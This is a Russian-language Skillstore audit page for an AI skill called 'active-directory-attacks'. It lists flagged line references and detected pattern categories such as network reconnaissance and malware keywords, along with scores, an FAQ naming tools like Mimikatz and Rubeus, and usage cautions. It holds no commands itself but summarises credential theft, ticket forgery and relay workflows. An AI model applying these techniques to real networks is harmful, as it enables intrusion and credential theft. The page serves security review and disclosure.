references/advanced-attacks.md:70 references/advanced-attacks.md:23 references/advanced-attacks.md:24 references/advanced-attacks.md:44 references/advanced-attacks.md:51 references/advanced-attacks.md:56 references/advanced-attacks.md:68 references/advanced-attacks.md:85 references/advanced-attacks.md:91 references/advanced-attacks.md:131 references/advanced-attacks.md:169 references/advanced-attacks.md:262 references/advanced-attacks.md:305 references/advanced-attacks.md:306 references/advanced-attacks.md:315 references/advanced-attacks.md:316 references/advanced-attacks.md:339 references/advanced-attacks.md:99 references/advanced-attacks.md:185 SKILL.md:57-69 SKILL.md:69-73 SKILL.md:73-84 SKILL.md:84-88 SKILL.md:88-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-129 SKILL.md:129-141 SKILL.md:141-147 SKILL.md:147-156 SKILL.md:156-162 SKILL.md:162-169 SKILL.md:169-179 SKILL.md:179-188 SKILL.md:188-194 SKILL.md:194-197 SKILL.md:197-201 SKILL.md:201-210 SKILL.md:210-216 SKILL.md:216-223 SKILL.md:223-231 SKILL.md:231-240 SKILL.md:240-244 SKILL.md:244-246 SKILL.md:246-254 SKILL.md:254-263 SKILL.md:263-267 SKILL.md:267-269 SKILL.md:269-277 SKILL.md:277-289
🌐 Доступ к сети (30)
references/advanced-attacks.md:233 references/advanced-attacks.md:296 SKILL.md:268 SKILL.md:59 SKILL.md:83 SKILL.md:119 SKILL.md:122 SKILL.md:131 SKILL.md:137 SKILL.md:149 SKILL.md:164 SKILL.md:203 SKILL.md:204 SKILL.md:205 SKILL.md:208 SKILL.md:209 SKILL.md:245 SKILL.md:256 SKILL.md:262 SKILL.md:279 SKILL.md:282 SKILL.md:285 SKILL.md:288 SKILL.md:295 SKILL.md:298 SKILL.md:305 SKILL.md:348 SKILL.md:351 SKILL.md:357 SKILL.md:367
📁 Доступ к файловой системе (3)
Обнаруженные паттерны
Malware type keywords×5Windows registry accessWeak cryptographic algorithm×5Secure file deletionSystem reconnaissance×4Network reconnaissance×7Network scanning tools
Аудитор:: codex Посмотреть историю аудитов →
Поделиться и цитировать этот отчет
Делитесь версионным отчетом об оценке, нейтральным значком, встраиваемой карточкой и цитатами. Skillstore публикует доказательства, не решая, безопасен ли этот Skill.
Копировать ссылку на отчёт
https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportЗначок Markdown
[](https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge)Значок HTML
<a href="https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-active-directory-attacks/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Встраиваемая карточка
<iframe src="https://skillstore.io/embed/skills/sickn33-active-directory-attacks.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Академические ссылки (APA · BibTeX · CFF)
Цитата APA
zebbern. (2026). active-directory-attacks security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6Цитата BibTeX
@techreport{zebbern-sickn33-active-directory-attacks-2026,
author = {zebbern},
title = {active-directory-attacks security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "active-directory-attacks security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-active-directory-attacks:audit:6"
description: "Skillstore immutable audit report identifier"
Оценка Skillstore
Почему такая оценка Достоверность доказательств: Средний 41
Архитектура
85
Сопровождаемость
87
Контент
70
Сообщество
91
Соответствие спецификации
Что вы можете построить
Планирование авторизованной оценки AD
Составьте ограниченный по области чеклист для разведки, проверки учетных данных, тестирования Kerberos и отчетности.
Проверка лабораторных путей атак
Сравните лабораторные находки с известными путями злоупотребления AD и категориями атак с тикетами.
Обучение концепциям атак на AD
Используйте справочник, чтобы объяснить распространенные слабые места AD и необходимые меры безопасности в учебной лаборатории.
Попробуйте эти промпты
Проверить безопасную область применения
Для моей авторизованной лаборатории Active Directory кратко изложи предварительные требования, ограничения безопасности и шаги документирования перед использованием этого skill.
Создать чеклист разведки
Создай ограниченный по области чеклист разведки для утвержденной оценки Active Directory, используя только неразрушающие шаги обнаружения.
Сравнить категории атак
Сравни категории атак на учетные данные, Kerberos, relay и AD CS в этом skill для контролируемой тестовой среды.
Составить план оценки
Составь план авторизованной оценки путей атак на Active Directory с целями, обработкой доказательств, механизмами отката и разделами отчетности.
Лучшие практики
- Используйте только при наличии письменного разрешения, определенной области работ и утвержденных окон тестирования.
- При изучении техник, изменяющих аутентификацию, тикеты, сертификаты или объекты AD, отдавайте предпочтение изолированным лабораториям.
- Фиксируйте доказательства, затронутые учетные записи, действия по откату и статус очистки для каждого протестированного пути.
Избегать
- Не запускайте команды из skill против систем за пределами утвержденной области.
- Не выполняйте password spraying, credential dumping или relay testing без контролей блокировки и воздействия.
- Не оставляйте после теста тикеты, сертификаты, учетные записи, запланированные задачи или изменения политик.
Часто задаваемые вопросы
Этот skill защитный или наступательный?
Это наступательный справочник по оценке Active Directory для авторизованного использования red team и лабораторий.
Этот skill автоматически запускает атаки?
Нет. Это справочник Markdown, но он содержит команды, которые пользователи могут выполнить вручную.
Можно ли использовать его в производственных сетях?
Используйте его только при наличии письменного разрешения, утвержденной области и задокументированных мер безопасности.
На какие инструменты он ссылается?
Он ссылается на такие инструменты, как Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec, PowerView и Certipy.
Включает ли он защитное устранение проблем?
Он включает ограниченные ограничения и устранение неполадок, но не является руководством по укреплению или обнаружению.
Почему проверка marketplace важна для этого skill?
Этот skill содержит подробные рабочие процессы кражи учетных данных, подделки тикетов, relay, эксплуатации и закрепления.
Сведения для разработчиков
Автор
zebbernЛицензия
MIT
Ревизия Skillstore
r1
Примечание о версии
Автор не указал версию.
Репозиторий
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/active-directory-attacksСсылка
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Актуальность поддержки
18.07.2026
Использование
6 загрузок · 199 просмотров
Структура файлов